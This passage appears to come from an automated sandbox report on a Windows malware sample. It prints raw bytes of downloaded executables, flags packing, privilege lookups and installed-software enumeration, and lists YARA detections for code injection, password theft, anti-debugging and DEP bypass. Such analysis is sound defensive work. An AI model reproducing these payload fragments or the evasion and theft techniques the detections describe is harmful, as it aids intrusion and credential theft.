è±¶3Òu÷3ÀuåMUøå]ÃÌÌÌÌÌÌÌÌÌÌÌUìQMüå]ÃÌÌÌÌÌUìQMüå]ÂÌÌÌUìQMüEüå]ÂUìhåBè-:]ÃÌUìQMüMèáPMüè(üÿÿEüÇ2BEüå]ÂÌÌÌÌÌÌUìQMüEPMüèüÿÿMüÇ2BEüå]ÂÌÌÌÌÌÌÌÌÌÌÌUììMøEøMP;Qu ÇEüëÇEüEüå]ÂUìQMüEüMUüEBEüå]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìQMüEüå]ÃUìQMüEü@å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUììMüMüèÏÿÿÿEøEøQUðMüè©ÿÿÿEôEôPMQMøÿUðEå]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUììVMèÿÿÿEôMèvÿÿÿEøEøPMôè÷þÿÿ¶ÈÉtMèHÿÿÿðMè>ÿÿÿ;ðu ÇEüëÇEüEü^å]ÃÌÌUìQMüEüPMQMèÙþÿÿEå]ÂUììMüEüQUøEPMQUðRMüÿUøPèTÿÿÿÄå]ÂÌÌÌÌÌÌÌÌÌÌÌUììMøMè¿þÿÿPMøèFþÿÿ¶ÀÀtMèþÿÿ;Eu ÇEüëÇEüEüå]ÂÌÌÌÌÌÌÌÌÌUìèÈPEPMè+þÿÿE]ÃÌÌÌÌÌÌUììMèB¶ÀÀu håBMè~MèQMèRþÿÿP request_handle: 0x00cc000c	1	1
InternetReadFile May 30, 2023, 1:38 p.m.	buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $ K.ÛN@N@N@ZAC@@ZAEé@ZADX@.PD_@.PC[@ZAAI@NA@.PE@PIO@P¿O@PBO@RichN*@PEL0´ldà sn0@à @pP0@\|Ðçç0P.text· `.rdataòÙ0Ú$@@.dataäþ@À.rsrcà0@@.reloc\|@@B.Za2gL9`:$00.Za2gL9 :^00¹Hè>hg+Bè¥`YÃh{+Bè`YÃhq+Bè`YÃ¹Hé¨E¹HèÚ=h+Bèm`YÃjjhXH¹HèDh+BèN`YÃVWjè¥£Y¿XHðÏèØDÏÇXHt3BÆ HÆHèI¡°H ´H%Hh+B5¤H£H Hèè_Y_^Ã¹ìHè==h+BèÐ_YÃh£+BèÄ_YÃÌÌÌÌÌÌÌÌÌUìE]ÃÌÌÌÌÌÌÌÌUì¸È%H]ÃÌÌÌÌÌÌUìEPMQUREPèØÿÿÿHQRè·Ä]ÃÌÌÌÌÌÌÌUììEEüMMøjè²¢ÄEôUüRjEøPMôQèÿÿÿÄEðÇEüEðå]ÃÌÌÌÌÌÌÌÌÌÌUìì¡C3ÅEüMðEðÇÔ1B3ÉUðÂ JEEôÆEøMðÁQUôRèègÄEðMü3ÍèÊYå]ÂÌÌÌÌÌÌÌUìQMüEüÇÔ1B3ÉUüÂ JEüMHEüå]ÂÌUìQMüEüÇÔ1B3ÉUüÂ JEüÀPMÁQèkgÄEüå]ÂÌÌÌÌUìQMüEüÇÔ1BMüÁQè¢gÄå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌUììMüEüxtMüQUøëÇEø`åBEøå]ÃÌÌÌÌÌUìQMüMüèÿÿÿEàtjMüQè YÄEüå]ÂÌÌUìQMüjEPMüèëþÿÿMüÇà1BEüå]ÂÌÌÌÌÌÌÌÌÌUìQMüMüè!EàtjMüQè©XÄEüå]ÂÌÌUìQMüMüèÿÿÿå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌUìQMühtåBMüèlÿÿÿEüÇX2BEüå]ÃÌÌÌÌÌÌÌÌÌÌÌÌUìQMüMüè!EàtjMüQè)XÄEüå]ÂÌÌUìQMüMüèqÿÿÿå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌUììMôèrÿÿÿh´CEôPè×kå]ÃUìQMüEPMüèMüÇX2BEüå]ÂÌÌÌÌÌÌÌÌÌÌÌUìQMüEPMüèÍýÿÿMüÇà1BEüå]ÂÌÌÌÌÌÌÌÌÌÌÌUì¸ÿÿÿ]ÃÌÌÌÌÌÌUìEPè/WÄ]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUììEÁ#U EMôºkÂÿMôUøÇEðE+MøMü}ür}ü#wë è±¶3Òu÷3ÀuåMUøå]ÃÌÌÌÌÌÌÌÌÌÌÌUìQMüå]ÃÌÌÌÌÌUìQMüå]ÂÌÌÌUìQMüEüå]ÂUìhåBè-:]ÃÌUìQMüMèáPMüè(üÿÿEüÇ2BEüå]ÂÌÌÌÌÌÌUìQMüEPMüèüÿÿMüÇ2BEüå]ÂÌÌÌÌÌÌÌÌÌÌÌUììMøEøMP;Qu ÇEüëÇEüEüå]ÂUìQMüEüMUüEBEüå]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìQMüEüå]ÃUìQMüEü@å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUììMüMüèÏÿÿÿEøEøQUðMüè©ÿÿÿEôEôPMQMøÿUðEå]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUììVMèÿÿÿEôMèvÿÿÿEøEøPMôè÷þÿÿ¶ÈÉtMèHÿÿÿðMè>ÿÿÿ;ðu ÇEüëÇEüEü^å]ÃÌÌUìQMüEüPMQMèÙþÿÿEå]ÂUììMüEüQUøEPMQUðRMüÿUøPèTÿÿÿÄå]ÂÌÌÌÌÌÌÌÌÌÌÌUììMøMè¿þÿÿPMøèFþÿÿ¶ÀÀtMèþÿÿ;Eu ÇEüëÇEüEüå]ÂÌÌÌÌÌÌÌÌÌUìèÈPEPMè+þÿÿE]ÃÌÌÌÌÌÌUììMèB¶ÀÀu håBMè~MèQMèRþÿÿP request_handle: 0x00cc000c	1	1
InternetReadFile May 30, 2023, 1:39 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $,CyáCyáCyáâ~Iyáä~Ëyáå~Qyáå~Lyáâ~Ryáä~byáà~FyáCyàyáØè~@yáØá~ByáØByáØã~ByáRichCyáPELÐU^dà!Þ>ð°@ J<K<øT ?p?@ð,.textVÝÞ `.rdataîaðbâ@@.dataD`D@À.rsrcøP@@.relocTR@Bj h¨<¹phè?#hêèYÃÌÌÌj8hÌ<¹hè#h`êèlYÃÌÌÌj8hÌ<¹ hèÿ"hÀêèLYÃÌÌÌj8hÌ<¹¸hèß"h ëè,YÃÌÌÌj8h=¹Ðhè¿"hëè*YÃÌÌÌj0hD=¹èhè"hàëèì)YÃÌÌÌj0hx=¹iè"h@ìèÌ)YÃÌÌÌhh°=¹iè\"h ìè©)YÃj?h>¹0iè?"híè)YÃÌÌÌÁÂÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPèÂ2ÄÆ^]ÂÌÌÌI¸\|<ÉEÁÃÌÌUìVñFÇñPèó2ÄöEtjVè«%ÄÆ^]ÂAÇñPèÉ2YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀÁfÖAÇA<ÇìñÃÌÌÌÌÌÌÌÌUììMôèÒÿÿÿhJEôPè2ÌÌÌÌUìVñWÀFPÇñfÖEÀPèò1ÄÇìñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPè²1ÄÇ ñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìQSZVWQSñè=h3É3À}üÛ~53Ò;ÇþEÐ=h¸phCph~r>A}üB;Ë\|Ë~r_ÆÆ^[å]Ã_ÆÆ^[å]ÃÌÌÌÌÌUììSVWòùQ}ôFPEðè3Û]ø9]ð)D~Ær¾Pè¯KÄÀu-NÆùr< tÆùrÏréÌ~Ær=@i3Ò Diÿt+EÿfD]ÿù¸0iC0i8]øtB;×ráÊÿEÈxr3Àÿt.MÿD=Di¹0i]ÿC 0i8]øt@;ÇrÝÈÿ=Di¹0iC 0iMìMôMøyr MøÏ+È 3Ò÷÷Mì}ô MøC]ø;]ðÜþÿÿrÆÇ_^[å]ÃÆÇ_^[å]ÃÌÌÌÌÌÌÌÌÌÌUìì@SVWÙòQMÄ]ôèçýÿÿEÄÖPMÜèYþÿÿhÇCÇCÆè°"Ø¹Èÿ]øûÄó«3Ò¾8>Bú@\|ðUì3ö3Û~øÒtAMø}ðEÜCEÜ¾øÿt'ÁæðÇxÏÆÓøMôPèUìïMøC;ÚrÂEøÀthPèð!ÄUðúr(MÜBÁúrIüÂ#+ÁÀüøwVRQèÀ!ÄUØÇEìÇEðÆEÜúr(MÄBÁúrIüÂ#+ÁÀüøwRQè~!ÄEô_^[å]ÃèGÌÌÌÌÌÌÌÌÌÌÌUìì4E0SVW3ÿÆEè¾À]ÇEàÇEäÆEÐ;Ç´+ÇMÐ;ÃBØ}4E CE SÇPèþr.MèVÁúrIüÂ#+ÁÀüøhRQè× ÄMÐ}Uó~EàEèCU}äuà]f~ÉMèCÁfÖEø;óu\îr; uÀÂîsïþüî: u7þýßH:Ju&þþÎH:Juþÿ½@:B±E0Guü;øõþÿÿ3ÿUþr/MèFÁþrIüÆ#+ÁÀüøVQè UÄEør'HÂùrRüÁ#+ÂÀüøw`QRèÏÄU4ÇEÇEÆEúr3M BÁúrIüÂ#+ÁÀüøwë uüGéWÿÿÿRQèÄÇ_^[å]Ãè Eè«ÌÌÌÌÌÌÌÌÌÌÌUìQS]Vñ]üWjhÀ>ÇFÇFÆèD3ÿÛ~1}ECE8S¿C ú¶È¶ÃGÈ¶ÁÎPèG;}ü\|ÏUúr(MBÁúrIüÂ#+ÁÀüøwRQèÑÄ_Æ^[å]ÃèïDÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìì0VWj$hÄ>MÐÇEàÇEäÆEÐèEÀu3öéÇ3ÿÀ¸ÇEøÇEüÆEè;ÇF+Ç¹;ÁBÈ}ECEQÇMèPèBìEÐÌPètìEèôìÌPèaÎèªþÿÿÄè¢üÿÿUüÄ0Àúr,MèBÁúrIüÂ#+ÁÀüø¹RQèÇÄEG;øHÿÿÿ¾Uäúr(MÐBÁúrIüÂ#+ÁÀüøwxRQèÄUúr^MBÁúrFIüÂ#+ÁÀüøwHë4úr(MèBÁúrIüÂ#+ÁÀüøw#RQè1Ä3öétÿÿÿRQè Ä_Æ^å]Ãè?CèJÌÌÌÌÌÌÌÌÌÌUìQEUMVÀS@WPè] ÄM}ØÓCM+ÑID ÿÀuóóNFÀuù+ñFVjÿðVøSWÿðPèÇ5ÄWÿðjÿñÿñWjÿñÿ ñUM_[^úr%BÁúrIüÂ#+ÁÀüøwRQèAÄå]ÃèdBÌÌÌÌUìì$SVWùjÇGÇGÆÿñÀj ÿ$ñØ]üÛlSÿðEôÀSjjjjjÿPjhéýÿððuøö.WN;ÊwOÇrÆëFGÙ+Ú+Â;Øw%ÇOrS4jVèE,ÆÄuøëQSÆEøÏÿuøSè¨]üÇrjjVPjÿÿuô request_handle: 0x00cc000c	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00100a00', u'virtual_address': u'0x0000c000', u'entropy': 7.959011117435146, u'name': u'.rsrc', u'virtual_size': u'0x00101000'}

entropy

7.95901111744

description

A section with a high entropy has been found

entropy

0.969310670444

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW May 30, 2023, 1:37 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW May 30, 2023, 1:37 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW May 30, 2023, 1:38 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (28 events)

description	Communications smtp	rule	Network_SMTP_dotNet
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Communications smtp	rule	Network_SMTP_dotNet
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Queries for potentially installed applications (50 out of 159 events)

Time & API	Arguments	Status
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x000003b0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: 7-Zip base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: AddressBook base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: Adobe AIR base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: Connection Manager base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: DirectDrawEx base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: EditPlus base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: ePageSafer base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ePageSafer	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: Fontcore base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: Google Chrome base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: Haansoft HWord 80 Korean base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: IE40 base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: IE4Data base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: IE5BAKEX base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: IEData base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: MobileOptionPack base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: Mozilla Thunderbird 78.4.0 (x86 ko) base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: Office14.PROPLUS base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: SchedulingAgent base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: TouchEn nxKey base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\TouchEn nxKey	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: UnINISafeWeb base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\UnINISafeWeb	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: UnINISafeWeb6 base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\UnINISafeWeb6	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: WIC base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {00203668-8170-44A0-BE44-B632FA4D780F} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {1CBD185A-9CB3-4f30-B7E4-75CC551455F9}_is1 base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1CBD185A-9CB3-4f30-B7E4-75CC551455F9}_is1	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {1F1C2DFC-2D24-3E06-BCB8-725134ADF989} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {26A24AE4-039D-4CA4-87B4-2F32180131F0} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {4A03706F-666A-4037-7777-5F2748764D10} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {5BEFEB79-2B4D-4EEE-9979-AFDE0A20FADE}_is1 base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{5BEFEB79-2B4D-4EEE-9979-AFDE0A20FADE}_is1	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {8941A397-4065-4F41-92CE-0EB610846EED}_is1 base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{8941A397-4065-4F41-92CE-0EB610846EED}_is1	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-0011-0000-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-0015-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0412-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-0016-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0412-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-0018-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0412-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-0019-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0412-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-001A-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0412-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-001B-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0412-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-001F-0409-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-001F-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0412-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-0028-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0028-0412-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-002C-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0412-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-0044-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0412-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-006E-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-006E-0412-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-00A1-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0412-0000-0000000FF1CE}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {90140000-00BA-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0412-0000-0000000FF1CE}	1
